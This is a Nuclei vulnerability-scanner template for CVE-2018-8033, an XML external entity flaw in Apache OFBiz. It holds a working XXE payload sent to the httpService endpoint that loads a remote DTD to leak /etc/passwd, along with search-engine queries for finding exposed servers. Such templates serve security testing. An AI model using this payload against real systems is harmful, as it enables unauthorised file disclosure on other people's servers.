Apache OFBiz - XML External Entity Injection

id: CVE-2018-8033

info:
  name: Apache OFBiz - XML External Entity Injection
  author: daffainfo
  severity: high
  description: |
    In Apache OFBiz 16.11.01 to 16.11.04, the OFBiz HTTP engine (org.apache.ofbiz.service.engine.HttpEngine.java) handles requests for HTTP services via the /webtools/control/httpService endpoint. Both POST and GET requests to the httpService endpoint may contain three parameters: serviceName, serviceMode, and serviceContext. The exploitation occurs by having DOCTYPEs pointing to external references that trigger a payload that returns secret information from the host.
  impact: |
    Attackers can read sensitive files or cause denial of service by exploiting XXE vulnerability.
  remediation: |
    Update to the latest version of Apache OFBiz that addresses the XXE vulnerability or apply security patches.
  reference:
    - https://lists.apache.org/thread/9bym7qk6ccwwr6d3mg26thp9zyv1l06y
    - https://nvd.nist.gov/vuln/detail/CVE-2018-8033
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2018-8033
    cwe-id: CWE-200
    epss-score: 0.25743
    epss-percentile: 0.97983
    cpe: cpe:2.3:a:apache:ofbiz:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: apache
    product: ofbiz
    shodan-query:
      - http.html:"ofbiz"
      - ofbiz.visitor=
    fofa-query:
      - body="ofbiz"
      - app="apache_ofbiz"
  tags: cve,cve2018,apache,ofbiz,xxe,vuln,vkev

http:
  - raw:
      - |
        POST /webtools/control/httpService HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        serviceName=createPartyGroup&serviceMode=sync&serviceContext=<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY %25 request SYSTEM 'https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/refs/heads/main/helpers/payloads/xxe-poc.dtd'>%25request;%25secondstage;]><r>%26disclose;</r>

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "FileNotFoundException:"
          - "nonexistent\\/root:.*:0:0:"
        condition: and

      - type: status
        status:
          - 200